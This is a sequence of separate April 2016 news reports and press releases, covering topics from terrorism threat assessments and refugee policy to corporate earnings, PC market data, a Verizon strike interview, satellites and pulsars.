"The alarming rise of Islamist extremists has spawned a deadly terror campaign across the globe. Sadly, we again have seen the resulting carnage recently in Brussels, Jerusalem, and Kabul. Our enemies are continuing to exploit growing instability and the retreat of American leadership," said Homeland Security Committee Chairman Michael McCaul as he release the latest monthly issue of Terror Threat Snapsot. "ISIS poses an increasingly deadly threat to the United States, its allies, and global security," said the five page snapshot.

ISIS and its supporters have exploited sanctuaries across the Middle East and North Africa, the flow of nearly 40,000 jihadists into Syria, a massive refugee wave and security gaps to execute a terror campaign that includes 83 attack plots against Western targets since 2014, it said. There have been two dozen ISIS-linked attack plots inside the United States, where authorities have arrested more than 80 ISIS-linked suspects, the report said.

McCaul said ISIS terror operatives have deployed from their Syrian safe havens and exploited security gaps to infiltrate and infest Europe. Al Qaeda thrives amidst the war in Yemen, methodically carving out greater sanctuary, he said.

"The Iranian regime, empowered by a dangerous nuclear deal, grows increasingly belligerent as it tries to extract more undeserved economic concessions. Reversing this dangerous course remains an urgent imperative for homeland security and for our broader interests around the world," the powerful US lawmaker said.

According to the report, Al Qaeda and its allies have seized critical terrain and regenerated their terror networks. Al Qaeda's key ally and enabler in Afghanistan, the Taliban, controls more territory than at any point since 2001.

In Yemen, Al Qaeda in the Arabian Peninsula (AQAP) has gained control over three provincial capitals, an estimated US $100 million worth of bank deposits, and nearly 400 miles of coastline, according to a nongovernmental expert and a media outlet investigation.

Al Qaeda's Syrian affiliate has also established a sizable safe haven, it said. According to the snapshot, the Iranian regime continues to meet Western concessions with escalating hostility. Iran has made several attempts to smuggle weapons into Yemen in the past month. These destabilizing actions follow Iran 's kidnapping of American sailors, another illicit ballistic missile test, unabated aggression in Syria and repeated threats against Israel, it said.
ZoomerMedia Limited Announces Second Quarter Financial Results

TORONTO, ONTARIO  (Marketwired)  04/21/16  ZoomerMedia Limited (TSX VENTURE: ZUM) (the Company), the leader in serving the interests of the 45+ Zoomer market in Canada, today announced its financial results for the second quarter ended February 29, 2016.

Consolidated Results

For the three months ended February 29, 2016 the Company had revenues of $11.2 million, operating expenses of $11.4 million and negative EBITDA of $0.2 million. Net loss for the three months ended February 29, 2016 was $0.8 million. For the comparative three months ended February 28, 2015 the Company had revenues of $12.3 million, operating expenses of $11.5 million and EBITDA of $0.8 million. Net loss for the three months ended February 28, 2015 was $0.2 million.

For the six months ended February 29, 2016 the Company had revenues of $26.5 million, operating expenses of $23.4 million and EBITDA of $3.1 million. Net income for the six months ended February 29, 2016 was $0.9 million. For the comparative six months ended February 28, 2015 the Company had revenues of $27.5 million, operating expenses of $24.1 million and EBITDA of $3.4 million. Net income for the six months ended February 28, 2015 was $1.0 million.

EBITDA is a non-IFRS earnings measure which does not have any standardized meaning prescribed by IFRS and therefore may not be comparable to EBITDA presented by other companies. EBITDA represents earnings before interest expense, income taxes, depreciation and amortization. This measure is important to management since it is used by potential investors to evaluate the Companys operating performance and ability to incur and service debt, and as a valuation metric. Investors are cautioned that this non-IFRS financial measure should not be construed as an alternative to other measures of financial performance calculated in accordance with IFRS.

Additional Information

Detailed financial information and Managements Discussion and Analysis for the three and six months ended February 29, 2016 can be found on SEDARs website at . The financial information included in this release is qualified in its entirety and should be read together with the interim consolidated financial statements for the three and six months ended February 29, 2016, including the notes thereto.

About ZoomerMedia Limited

ZoomerMedia is a multimedia company that serves the 45plus Zoomer demographic through television, radio, magazine, internet and trade shows. ZoomerMedias television properties include; Vision TV, Canadas only multi-faith specialty television service; ONE: Body Mind Spirit Love Channel, offering programs on exercise, meditation, yoga, natural health and living a planet-friendly lifestyle; JoyTV in Vancouver, Victoria, Surrey and the Fraser Valley, and the newly rebranded HOPETV (formerly JoyTV11), a lifestyle television service out of Winnipeg devoted to broadcasting Christian programming and is available in approximately 6 million Canadian homes. ZoomerMedias radio properties include CFMZ-FM Toronto  The New Classical 96.3FM, CFMX-FM Cobourg  The New Classical 103.1FM, CFMO-FM  Collingwood  The New Classical 102.9FM, Canadas only commercial classical music radio stations serving the Greater Toronto Area (GTA), eastern Ontario and Collingwood, CFZM-AM 740 Toronto and CFZM-FM 96.7FM Toronto  Zoomer Radio, Torontos Timeless Hits Station. ZoomerMedia also publishes Zoomer Magazine, the largest paid circulation magazine in Canada for the mature market. ZoomerMedia is Canadas leading provider of online content targeting the 45plus age group through many properties, the key one being . ZoomerMedia also has trade show and conference divisions that produce the ZoomerShows, annual consumer shows directed to the Zoomer demographic and ideaCity, an annual Canadian conference also known as Canadas Premiere Meeting of the Minds.

Cautionary note on forward looking statements

The TSX Venture Exchange does not accept responsibility for the adequacy or accuracy of this release. No stock exchange, securities commission or other regulatory authority has approved or disapproved the information contained herein. Certain statements made in this report are forward-looking statements which may include, without limitation, any statement that may predict, forecast, indicate or imply future results, performance or achievements, and may contain the words believe, anticipate, expect, estimate, project, will be, will continue, will likely result or similar words or phrases. Forward-looking statements involve risks and uncertainties, which may cause actual results to differ materially from the forward-looking statements. The risks and uncertainties are detailed from time to time in filings by ZoomerMedia Limited with provincial securities commissions. New risk factors emerge from time to time and it is not possible for management to predict all such risk factors, nor can it assess the impact of all such risk factors on the Companys business or the extent to which any factor, or combination of factors, may cause actual results to differ materially from those contained in any forward-looking statements. Such risks, uncertainties and other factors include, but are not limited to, the following:

Given these risks, and uncertainties, investors should not place undue reliance on forward-looking statements as a prediction of actual results. ZoomerMedia Limited does not intend and does not assume any obligation to update these forward-looking statements.

Contacts:

ZoomerMedia Limited

George Kempff

Vice President and Chief Financial Officer

(416) 607-7735

ZoomerMedia Limited

Leanne Wright

Vice President Communications

(416) 886-6873
Commercial Notebook Returned to Growth in Europe in 1Q16, says IDC

PC shipments in Europe, the Middle East, and Africa (EMEA) reached 17.2 million units in the first quarter of 2016  a 14.6% decrease year on year, according to International Data Corporation (IDC). Despite the shrinking market, commercial notebook PCs returned to growth in Western Europe (WE) and Central and Eastern Europe (CEE). In contrast, the consumer market performed poorly following a strong push for the Bing promotion in January 2015, making the comparison unfavorable.

Exchange rates, oil prices, and macro-economic conditions contributed to the difficult situation, as in previous quarters. Depending on local currency fluctuations, shipments were pushed or stopped, contributing to further unpredictability. Inventory remained an area of focus, but clearly the level of concern was limited in comparison to the previous year. While it is not unusual to have a lot of contrast between countries within a region, this quarter also showed strong variations within countries between segments and product categories. There were also a lot of differences in the results of the top market players. In the context of a shrinking market, market consolidation was clearly accelerating. However, new technology introductions such as Windows 10 and Skylake as well as the evolution of form factors to address consumerization and mobility trends, led to new market share redistribution. The main winner was HP, while Dell and Asus also outperformed the market average, and last but not least among the top 10, Apple and Fujitsu posted strong results.

The return to growth in commercial notebooks in Europe is a good sign, said Chrystelle Labesque, Director, IDC EMEA Personal Computing. It is interesting, however, how market consolidation is progressing. Productivity is key in enterprise. Innovation in terms of form factors and productivity gains with the latest generation of devices is supporting some renewal in the enterprise space.

Slightly better than expected Western European shipments declined 12.1%, while Central and Eastern Europe decreased 10.8%. The Middle East and Africa (MEA) suffered again, with shipments down 25.1 %. In Western Europe, commercial notebooks posted 1.3% growth, with Germany even seeing double digit growth in this area. Most countries were in decline, except Finland and Norway. The Nordics improved, while Southern Europe was weaker. Low oil prices together with currency fluctuations and political instabilities remained key market inhibitors in the CEMA region, but as in Western Europe, CEE posted a small growth in commercial notebook shipments: +0.7%.

The PC market in both the CEE and MEA regions in 1Q16 performed very much in line with the forecast. Demand for PCs in the MEA region remains negatively affected by economic instability in Turkey, currency devaluation in both Turkey and South Africa, a slowdown in tourism in the UAE, and reduced consumer confidence due to lower oil revenues for Saudi Arabia and conflicts in the Rest of Middle East subregion, said Nikolina Jurisic, Product Manager, IDC CEMA. The region reported a contraction of 25.1% YoY. The PC market in CEE reported a yearly decline of 10.8%. The Russian PC market remains constrained by the overall economic environment. Other countries in the region reported a decline YoY that was particularly strong in Bulgaria, Slovakia, Romania, and Czech Republic, mostly due to the unfavorable comparison with the Microsoft Bing promotion last year and political instability in Romania and Bulgaria. The PC market rebounded in Ukraine after a long period of decline, reporting overall shipments of just over 200K, thanks to economic improvements, deferred demand and healthy inventory at the end of 2015, resulting in both consumer and commercial sector showing a double digit YoY growth.,

Vendor Highlights

The top 3 players now account for 56.3% of the total market volume vs 54.5% in 1Q16.

 HP outperformed the market and gained 1.6% in share, reaching 24.9% in EMEA. The vendors focus on new products contributed to the gains, together with particularly strong results in commercial notebook.

 Lenovo is in second position. The vendor maintained its leadership in consumer shipments in EMEA and consolidated its second position in commercial, where it marginally gained some shares thanks to an above average performance in desktop.

 Dell regained third position owing to a strong result in commercial notebooks. Dell grew faster than the market and consequently gained share in EMEA. The vendor continued to grow in particular in the commercial segment.

 ASUS had another strong quarter, declining less than the market average thanks to its notebook performance.

 Acer remained 5th, managing inventory with caution. The vendor suffered from the comparison with Bing shipments a year ago.

Outside the top 5 vendors, Apple continued to outperform the market and ranked 6th. Fujitsu ranked 7th thanks to a solid performance in Germany. Toshiba is now 8th as the vendor shifts focus towards commercial in most countries. MSI and Wortmann closed the top 10.

Shipments are branded shipments for all form factors (including desktops and notebooks) and exclude x86 servers as well as OEM sales for all vendors. Data for all vendors is reported for calendar periods.

For more information on IDCs EMEA Quarterly PC Tracker or other IDC personal computing research services, contact Associate Vice President Karine Paoli on +44 (0) 20 8987 7218 or at kpaoli@idc.com. Alternatively, contact your local IDC office or visit www.idc.com.

International Data Corporation (IDC) is the premier global provider of market intelligence, advisory services, and events for the information technology, telecommunications, and consumer technology markets. IDC helps IT professionals, business executives, and the investment community to make fact-based decisions on technology purchases and business strategy. More than 1,000 IDC analysts provide global, regional, and local expertise on technology and industry opportunities and trends in over 110 countries worldwide. For more than 50 years, IDC has provided strategic insights to help our clients achieve their key business objectives. IDC is a subsidiary of IDG, the worlds leading technology media, research, and events company. You can learn more about IDC by visiting www.idc.com.
Labour, USA  April 22, 2016  Danny Katch

Unions representing nearly 40,000 Verizon workers have announced plans to hit the picket lines on April 13, in what would be one of the largest strikes in the U.S. in recent years. The workers, members of the Communications Workers of America (CWA) and International Brotherhood of Electrical Workers (IBEW), are fighting aggressive attacks on their compensation, job security and more  carried out by a corporation that is raking in the profits, but wont be satisfied until it breaks the power of their unions. Danny Katch talked to a CWA shop steward from New York City about whats at stake in this battle and why Verizon workers deserve solidarity. This interview first appeared on the Socialist Worker website.

Danny Katch (DK): What are the main issues in this contract fight?

CWA: There are a lot of issues that weve been bargaining concessions over the past several contracts. Verizon is attacking our medical, our pensions, disability, overtime  all of our compensation is under attack.

Whats different about this contract is that theyre attempting to destroy Article 8, which protects our right to show up to work in the same place, every day, a reasonable distance from where we live. Theyre pushing to change transfer rights to favor the company to the point that they will be able to transfer us anywhere in the company footprint for up two months at a time, during which wed live in hotels away from our families and communities.

Theres also been an erosion of call center work and an increase in contracting out, and this contract would allow for closing more call centers and transferring members up to 80 miles from their current job sites, as well as opening the door to increased international outsourcing.

DK: Is job security also a major issue?

CWA: We currently have two tiers of job security. For people hired before 2003, we have essentially ironclad job security. People retire of their own volition or take an incentivized buyout. For people hired after 2003, its much easier to be laid off, which weve seen in New York City, where its very hard to find anybody working on the technical side with less than 15 years on the job.

For this contract, theyd like to eliminate job security across the board, no matter how long youve been in the company.

DK: Verizon has made $39-billion in profits over the last three years. They dont seem to need concessions in order to survive. What do you think are the companys goals with these contract demands?

CWA: Theyre trying to streamline their operations. Theyre transforming the company to be more oriented on Wireless, and theyd like the wireline side to be more flexible and modeled more on the workplace culture of Wireless, which is still overwhelmingly non-union.

The issue with the transfers is that as the company replaces the 100-year-old copper-based network with the fiber-optic network that carries their FIOS product, they need short-term, high-intensity workforces to build the network, and then move on to the next build.

So their vision is a migrant workforce that follows the work from state to state. Obviously, this model favors younger workers who are not tied down and have much lower expectations for how they should be treated within the company.

DK: The contract expired last August. Why have things come to a head now?

CWA: I think its become clear now that the company has drawn a line in the sand, and theyre not going to shift without a major action on our part. Theyve essentially stuck to their proposals since August, and even though the union volunteered $200-million in concessions in the late winter, the company wasnt interested at all.

The company made noises that this was its last best offer on medical and other major issues, and in a situation where the union and the company cant agree to terms on specific articles, the company has the power to impose its version of the settlement.

So the stakes are very high. If the union accepts this horrible transfer concession, its going to spell the death of the union. Too many of us are older and have established families and roots in our communities to pick up and leave for two months at a time. This is a make-or-break issue for the union.

DK: The CWA is the biggest union to endorse Bernie Sanders for the Democratic presidential nomination, and the strike will be happening while the Democratic candidates are competing in the New York primary. Is that a coincidence?

CWA: The union is looking to use the Sanders campaign to highlight everything thats wrong with Verizon. Verizon maps perfectly with everything that Bernies campaign has said about the 1 per cent and Wall Streets greed and transferring wealth and control from workers to bosses. So this is a real boon for the union that the class anger thats boiled for years under the surface is being exposed and validated by the Sanders campaign.

This is a critical week because of the New York primary, and the union will be participating in various Sanders events. CWA President Chris Shelton will be introducing Bernie at a rally on Wednesday in NYC, and numerous local rallies will be happening around the primary to build a connection that this is bigger than Verizon.

But winning at Verizon would be a good first step in the kind of political revolution people want to see Sanders bring.

DK: What do you think it will take for the union to win a strike?

CWA: I think its a scary prospect to be on strike right now. This can be a protracted and brutal strike. I think the union will have to look very strategically at how were building community support, which its already begun to do around issues of the digital divide. There are glaring holes in the FIOS network that has replicated the lack of access that predominantly Black and immigrant low-income neighborhoods already suffer from.

But the heart of this strike has to be militant participation by the union membership. Because the company is so focused on finishing FIOS builds in high-density, high-income areas like Manhattan, stopping scab operations should be the forefront of the union strategy.

DK: Why should people support Verizon workers, and what can they do to help?

CWA: Like I said before, Verizon could be the poster child of corporate greed. Its not just about money, its about companies that pay no taxes getting to dictate your life outside of work as well  that you wont get to see your families for two months. They want to change the overtime rules so that you have a seven-day workweek and never get two days off in a row.

Then theres the issue of high-speed Internet access  its ridiculous that anybody lacks high-speed Internet in their home in the wealthiest country in the world.

People can support us by showing up to picket lines and rallies, by stopping automatic bill pay [if they have a Verizon account] and wearing buttons in support of the union  and by organizing a union in their own workplace! 
North Korean defector Lim Il, who worked at a Kuwait City construction site in the late 1990s, speaks with a map of the Korean peninsula during an interview in Seoul, South Korea. (Photo: AP)

Seoul, South Korea: North Korea said on Friday it wants to send to Seoul the relatives of North Korean citizens it says were abducted by South Korean spies, a highly unusual move by Pyongyang as it attempts to challenge what Seoul calls an embarrassing, high-profile group defection.

Earlier this month, South Korea said the 13 North Koreans defected from a restaurant from an unspecified foreign country in the biggest group defection since North Korean leader Kim Jong Un took power in 2011. North Korea later said the restaurant is located in the eastern Chinese city of Ningbo.

Pyongyang typically accuses Seoul of kidnapping or enticing its citizens to defect, but an attempt to send relatives south of the world's most heavily guarded border for a reunion is extraordinary. Seoul says the restaurant workers are voluntary defectors.

Pyongyang's state media said Friday that Seoul had been informed that the North will try to send the relatives of the restaurant workers through a border village but did not say when.

"The families of the abductees are eagerly asking for face-to-face contact with their daughters as they were forced to part," said the North Korean message, according to the official Korean Central News Agency.

North Korea has already warned of unspecified retaliation if South Korea refuses to send back the restaurant workers.

Seoul's Unification Ministry said it hasn't received any message from the North. In a response to an earlier request by the North for the meetings, the ministry said it will not accept the overture because the restaurant workers decided on their own to resettle in the South.

The defection of one male manager and 12 female waitresses has been a focus of intense media attention in South Korea. Such a group defection of North Korean workers dispatched abroad is uncommon, and Seoul officials have refused to disclose full details about the case. Some critics said the defection announcement by Seoul may have been an attempt to influence the results of parliamentary elections, which the conservative ruling party eventually lost to liberal opposition parties.

The North has about 50,000 to 60,000 workers abroad, mostly in Russia and China, with a mission to bring in foreign currency, according to Seoul's intelligence service. Pyongyang typically sends relatively affluent, loyal citizens to such jobs, because they are seen as being less affected by foreign cultures, according to experts in South Korea.

More than 29,000 North Koreans have fled to South Korea since the end of the 1950-53 Korean War, according to South Korean government records. Many defectors have testified that they wanted to avoid the North's harsh political system and poverty.
A visit by Obama would have enormous symbolic importance and would follow US Secretary of State John Kerry's journey last week to Hiroshima, which took in the memorial and museum to the 1945 bombing in the city. (Photo: AFP)

Tokyo: President Barack Obama will go to the atom-bombed city of Hiroshima after a G7 summit in Japan next month, the Nikkei business daily reported on Friday, in what would be the first such visit by a sitting US leader.

Washington will "arrange with Japan his visit on May 27 when the G7 leaders' summit wraps up," the newspaper said, citing several US government officials it did not identify.

A visit by Obama would have enormous symbolic importance and would follow US Secretary of State John Kerry's journey last week to Hiroshima, which took in the memorial and museum to the 1945 bombing in the city.

Kerry, who was joined by other Group of Seven foreign ministers, is the highest-ranking US administration official to pay respects at the spot where an American plane dropped an A-bomb in the world's first-ever nuclear attack.

Obama, who won the Nobel Peace Prize in 2009 for his call for a world without nuclear weapons, is expected to make a speech about nuclear abolition, the Nikkei said, citing an unnamed high-ranking US government official.

Obama is also considering offering a floral tribute at Hiroshima's Peace Memorial Park and Japanese Prime Minister Shinzo Abe is also expected to accompany Obama, according to the paper.

A US official told the Nikkei that Washington will formally notify Japan of the plans early next month.

Asked at a regular press conference whether the US and Japan are working to arrange a visit to Hiroshima by Obama, Chief Cabinet Secretary Yoshihide Suga, the government's top spokesman, flatly denied it.

"It is not true," Suga said.

But he added it is "very important" for Japan that world leaders visit Hiroshima and understand the reality of the suffering caused by the atomic bombing.

Speculation of an Obama visit has intensified since Kerry said in Hiroshima after he and his G7 counterparts wrapped up two days of talks there that everyone should visit the city.

"I hope one day the President of the United States will be among the everyone who is able to come here," he said.

About 140,000 people died directly from the Hiroshima blast or later from severe radiation exposure. The city, a key military installation during the war, was flattened by the massive detonation.

The atomic bombing of Nagasaki followed three days later, killing some 74,000 people. Japan surrendered within a week to end World War II.
Letters: My teachers mean a lot to me. Why are they paid so little?
urkish authorities have been expelling around 100 Syrians almost daily back to their war-ravaged homeland for the past three months, according to rights group Amnesty International. (Photo: AP)

Brussels: German Chancellor Angela Merkel and top European Union officials plan to travel close to Turkey's border with Syria in hopes of promoting a troubled month-old agreement to manage a refugee crisis that has left hundreds of thousands stranded on the migrant trail to Europe.

Saturday's trip to the Turkish border city of Gaziantep, which is expected to include a visit to a refugee camp, comes amid questions over the legality of the March 20 agreement between the EU and Turkey to start deporting migrants who do not qualify for asylum in Greece back to Turkey.

The EU has pledged up to 6 billion euros ($6.8 billion) in aid to Turkey over the next four years to ease conditions and create opportunities for the estimated 2.7 million Syrian refugees living in Turkey.

But a month after the agreement was signed, few EU experts have arrived in the field and many EU nations are dragging their heels on accepting more asylum-seekers. Diplomatic tussles loom over Turkey's demands for visa-free EU travel for Turkish citizens.

In an effort to persuade European and Turkish citizens of the deal's merits, Merkel, EU Council President Donald Tusk, EU Commission Vice President Frans Timmermans and Turkish Prime Minister Ahmet Davutoglu plan to gather in Gaziantep across the border from the Syrian cities of Aleppo and Kobane, epicenters for years of civil war that have abated since a shaky February cease-fire agreement.

The U.N. refugee agency, rights groups and EU lawmakers have roundly criticized the EU-Turkey migrant deal over the legal and moral implications of expelling people from EU member Greece back to Turkey, a country that many consider unsafe on security and human rights grounds. Merkel has found herself in a particular bind, backing the deal even as Turkish President Recep Tayyip Erdogan uses an arcane law to sue a German comedian for mocking him.

The 47-nation Council of Europe, a human rights body that is not part of the EU, passed a resolution Wednesday criticizing the EU-Turkey deal for what it called "several serious human rights issues."

Not far from Gaziantep, Turkish authorities have been expelling around 100 Syrians almost daily back to their war-ravaged homeland for the past three months, according to rights group Amnesty International. Turkey insists that it does not deport Syrians. Only about 10 percent of Turkey's refugees are sheltered in camps. The rest primarily fend for themselves in towns and cities.

The European Commission says the number of migrants arriving in Greece from Turkey has slowed dramatically from more than 50,000 in February to around 7,000 over the past 30 days. But Greece, currently home to 54,000 stranded migrants seeking to travel deeper into Europe, faces unrelenting pressure as the long-promised relocation of asylum seekers from Greece to other EU countries moves pitifully slowly.

When Pope Francis took a dozen Syrians to the Vatican from the island of Lesbos last weekend, he effectively relocated more refugees from Greece than more than a dozen EU countries have managed since September under an earlier European plan to share responsibility for 160,000 refugees in Greece and Italy.

Since last month's pact, 325 migrants in Greece have been returned to Turkey, only two of them Syrians. In the other direction, 103 Syrians have been delivered from Turkey to Europe.

The EU's border agency Frontex requested 1,550 reinforcements a month ago to help police the deal, but so far just 340 officers and experts have been deployed. The EU's asylum agency requested almost 900 officers and interpreters, but only 130 have been sent.

Legal issues remain unresolved. While Turkey has upgraded human rights protections for Syrians returned from Greece, it has yet to offer the same guarantees to the much more numerous Afghans, Iraqis and Eritreans who are being returned from Greece and could qualify for the same protection under international asylum laws.

EU nations and the European Commission have made some 2.6 billion euros available so far. Once the 3 billion mark is reached, and if that money is spent in accordance with the agreement, a further 3 billion euros could be provided in 2018. So far, the main payments in March have been 40 million euros to the World Food Program for six months' worth of meals in refugee camps, and 37 million euros to UNICEF to support school enrollment for refugee children.

Part of the EU fund is being used to try to ensure that all 850,000 school-aged children are enrolled in schools in September, a senior Turkish official said. Currently only 330,000 are in school.

Turkey's leaders are warning that the whole deal will collapse if the EU fails to grant Turkish citizens the right to visa-free stays for tourism or business purposes by July.

The agreement stipulates that Turkey must meet 72 conditions by May 4 to earn the visa waiver. So far it has fulfilled about half. EU officials say Ankara is making good progress but suggest that all conditions might not be fulfilled on time, including upgrading Turkey's visa system and bringing its data protection laws into line with EU standards.

"If the European Union does not take the steps it needs to take, if it does not fulfill its pledges, then Turkey won't implement this agreement," Erdogan warned earlier this month.
In this photo taken on Sunday, April 17, 2016 migrants ask for help from a dinghy boat off the coast of the Italian island of Lampedusa. (Photo: AP)

Athens: A knife-wielding human trafficker stopped survivors of a shipwreck from pulling others to safety, leaving them to drown in the dark, one of the surviving migrants said on Thursday.

Up to 500 people are believed to have died in last weeks disaster, when an overcrowded boat sank in the southern Mediterranean. Just 41 people were eventually saved by a passing merchant ship and brought to Greece on April 16.

Muaz Mahmud, 25, from Oromia in Ethiopia, managed to escape the packed vessel as it was sinking and clambered onto a nearby boat. However, a people smuggler prevented them from helping others still in the sea, saying they had to leave immediately.

I told him dont start motor please we have to save these people. He took a knife. I am going to kill you, we dont stand here, and then I just cried, Mahmud told reporters, speaking in broken English.

A survivor of the deadly shipwreck, 25-year-old Mahmud Muaz of Ethiopia, delivers a press conference in Athens . His wife and 2-mont-old baby are feared to be among the 500 dead. (Photo: AFP)

He had been with his wife and 2-month-old baby, having paid $1,800 each for the passage. They are feared drowned.

While the handful of survivors recounted their tales of horror, families of those still missing, many of whom were believed to be from Somalia, described how their relatives had hoped to reach Europe and escape poverty.

In Somalias bombed-out capital, the parents of Mohamed Farah, 25, are still awaiting word of his fate. His family and friends had scraped together thousands of dollars to help him to make the perilous trip over land and sea to Europe. They have been told his picture was not among those of the survivors.

Is he alive or dead? His mother has not eaten food for days, said Ali Nur, his 23-year-old cousin and friend. The agent (trafficker) is the criminal behind the disaster. He got rich from the Somalis drowning in the sea.

The stories from the survivors and grieving relatives give a clear timeframe for one of the worst such tragedies in recent years, showing not just the dangers of the journey but also the relative sophistication of the human trafficking ring.

More than 150,000 migrants reached Italy by boat last year, with some 25,000 arriving so far this year. About 800 are believed to have died trying to make the crossing since January.

Night-time rendezvous

Mohamed Farah left Mogadishu in early February, travelling through Somaliland, Ethiopia and Sudan before reaching Egypt. On April 8 he called home to say he was set to leave, having paid about $3,000 for his place on the boat.

We are going to sail, please pray for me, parents, Nur quoted him as saying in that final call.

It is not clear when precisely he put to sea, but survivors have said one boat with up to 300 people aboard departed somewhere from Egypt, while a second, smaller boat, carrying up to 200, left from near Tobruk in eastern Libya.

Many hours after putting to sea, these two vessels met up in the dead of night, probably on April 13. The smugglers transferred almost everyone onto the bigger boat, at which point it started taking in water. Survivors and officials say that between 400-500 were probably on board when it sank.

When this boat was falling, we started swimming to save our life to the other boat. Some survivors on the other boat threw something to us (to help us). We were 10 people, said Mahmud.

With others still swimming towards them, the smuggler started the engine and abandoned them.

We saw the dead guys with our eyes, said Mowlid Isman, 28, from Mogadishu in Somalia. Like Mahmud, he had managed to reach the smaller boat before it left. His sister and her baby did not and are feared drowned.

Ismam Mowlid of Somalia speaks to reporters with the help of a translator in Athens. 500 migrants from Africa are believed to have drowned in the Mediterranean, in what could be one of the worst tragedies since the start of the migrant crisis in Europe. (Photo: AFP)

Other peoples families died too. There wasnt anything we could do because they were in the water (and) we moved away, he said, speaking through an interpreter.

Survivors said the smuggler headed towards Italy but at a certain point he boarded a third boat to return to Libya.

He promised to return with water and food, but never reappeared. He also left a satellite phone, with an Italian number for them to call.

I called. It was the police, I called them to help us, Mahmud said. One ship passed nearby but did not pick them up, he said. A second boat finally found them and took them to Greece.

Graphic comparing the numbers of migrants and refugees dead or missing on the three major routes across the Mediterranean since January 2014. (Photo: AFP)

The survivors -- 37 men, three women and a three-year-old child from Somalia, Ethiopia, Egypt and Sudan -- said they had drifted at sea for three days.

They are now in Athens and Greek non-governmental organization Praksis said they had all been given a one-month permit to stay in the country.

In Somalia, news of the disaster started to filter through on April 17. Farahs cousin said they got confirmation from a man nicknamed Magafe, which means he who never misses, who was the agent who had organised the doomed crossing.

Before (Farah) sailed away we spoke to him and his friends whom he made on the way and with whom he stayed in Egypt. Now all of them are gone in the sea.
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The secretive ANGELS satellite launched as part of the Air Force Space Command-4 mission in July 2014.

COLORADO SPRINGS, Colorado  The U.S. Air Force is using a little-discussed satellite that launched in 2014 as part of ongoing experiments that look at how the Defense Department and intelligence community would act during a war in space.

Gen. John Hyten, the head of Air Force Space Command, said during a press briefing here that the Defense Department has used the Automated Navigation and Guidance Experiment for Local Space, or ANGELS, satellite during recent space experiments.

The satellite launched to geosynchronous orbit in July 2014 as part of the Air Force Space Command-4 mission, but Air Force leaders have rarely, if ever, discussed the satellite in public since then.

Hyten said during a press briefing here at the Space Symposium that the Air Force has "done a bunch of interesting things with the ANGELS experiment."

Those experiments have taken place at the Joint Space Operations Center at Vandenberg Air Force Base in California, the Defense Department's space operations nerve center, and at the newer Joint Interagency Combined Space Operations Center at Schriever Air Force Base here in Colorado Springs, which is a joint effort between the DOD and intelligence community, he said.

He did not elaborate further.

Managed by the Air Force Research Lab at Kirtland Air Force Base in New Mexico, the satellite is intended to test multiple techniques "for providing a clearer picture of the environment around our vital space elements,"according to an Air Force ANGELS fact sheet from 2014. The satellite aimed at improving methods for monitoring an increasingly contested space environment.

The ANGELS satellite was expected to spend its first year after launch monitoring the used Delta 4 upper stage of its launch vehicle from about 50 kilometers away and then gradually move closer until it was eventually only a few kilometers away. That experiment was expected to last about one year.

The Orbital ATK-built satellite also includes high-performance accelerometers that could be used to examine ways to reduce the probability of on-orbit collisions, the Air Force fact sheet.

This story was provided by SpaceNews, dedicated to covering all aspects of the space industry.
NASA is celebrating Earth Day 2016 with the #24Seven campaign to show how it studies Earth, and to collect photos from the public.

NASA is taking Earth Day online today (April 22) with a project to share how its Earth science missions work and to find out how you'll mark the day, too.

The U.S. space agency is celebrating the Earth with #24Seven, a social media project to showcase its missions to study our planet. The project also aims to collect photos and videos from the public's Earth Day activities.

"This Earth Day, NASA is giving the world an insider's look into the myriad activities the space agency conducts in a typical day to study and protect our home planet. And  we're asking the world to share your Earth Day with us," NASA officials wrote in an announcement. "On April 22, NASA will post about 200 images across nearly 100 different social media channels that capture the breadth of the agency's 24-hour-a-day work to study Earth." [Related: Build a Recycled Cardboard Spaceship for Your Kid (Video)]

NASA will post its Earth science images on Twitter and other social media outlets using the hashtag #24Seven. Members of the public can share their images with NASA by tagging them with #24Seven as well. More details on how to participate in the project are on NASA's announcement page here.

"Together we can create a truly international picture of how the world celebrates Earth Day," NASA officials wrote.

NASA's #24Seven Earth Day campaign actually started Thursday (April 21) when Earth Day began at the international date line in Samoa and Christmas Island. It will continue through 8 a.m. EDT (1200 GMT) on Saturday (April 23) when Earth Day will end for residents of Baker Island on the other side of the date line. The space agency will then compile the best and most remote posts from the public into a video to be released in a few weeks.

To learn more about how NASA studies the Earth from space and the ground, visit: http://www.nasa.gov/earth.

Email Tariq Malik at tmalik@space.com or follow him @tariqjmalik and Google+. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
A pulsar (pink) can be seen at the center of the galaxy Messier 82 in this multi-wavelength portrait. The pulsar was discovered by NASA's NuSTAR which detected the pulsar's X-ray emission.

Pulsars are spherical, compact objects that are about the size of a large city but contain more mass than the sun. Scientists are using pulsars to study extreme states of matter, search for planets beyond Earth's solar system and measure cosmic distances. Pulsars also could help scientists find gravitational waves, which could point the way to energetic cosmic events like collisions between supermassive black holes. Discovered in 1967, pulsars are fascinating members of the cosmic community.

What is a pulsar?

From Earth, pulsars often look like flickering stars. On and off, on and off, they seem to blink with a regular rhythm. But the light from pulsars does not actually flicker or pulse, and these objects are not actually stars.

Pulsars radiate two steady, narrow beams of light in opposite directions. Although the light from the beam is steady, pulsars appear to flicker because they also spin. It's the same reason a lighthouse appears to blink when seen by a sailor on the ocean: As the pulsar rotates, the beam of light may sweep across the Earth, then swing out of view, then swing back around again. To an astronomer on the ground, the light goes in and out of view, giving the impression that the pulsar is blinking on and off. The reason a pulsar's light beam spins around like a lighthouse beam is that the pulsar's beam of light is typically not aligned with the pulsar's axis of rotation.

This diagram of a pulsar shows the yellow cone of light that can be seen by astronomers on Earth. The cone is not aligned with the spin axis, which is why the beam sweeps across the sky instead of pointing in just one direction. (Image credit: NASA)

Because the "blinking" of a pulsar is caused by its spin, the rate of the pulses also reveals the rate at which the pulsar is spinning. Over 2,000 pulsars have been detected in total. Most of those rotate on the order of once per second (these are sometimes called "slow pulsars"), while more than 200 pulsars that rotate hundreds of times per second (called "millisecond pulsars") have been found. The fastest known millisecond pulsars can rotate more than 700 times per second.

Pulsars aren't really stars  or at least they aren't "living" stars. Pulsars belong to a family of objects called neutron stars that form when a star more massive than the sun runs out of fuel in its core and collapses in on itself. This stellar death typically creates a massive explosion called a supernova. The neutron star is the dense nugget of material left over after this explosive death.

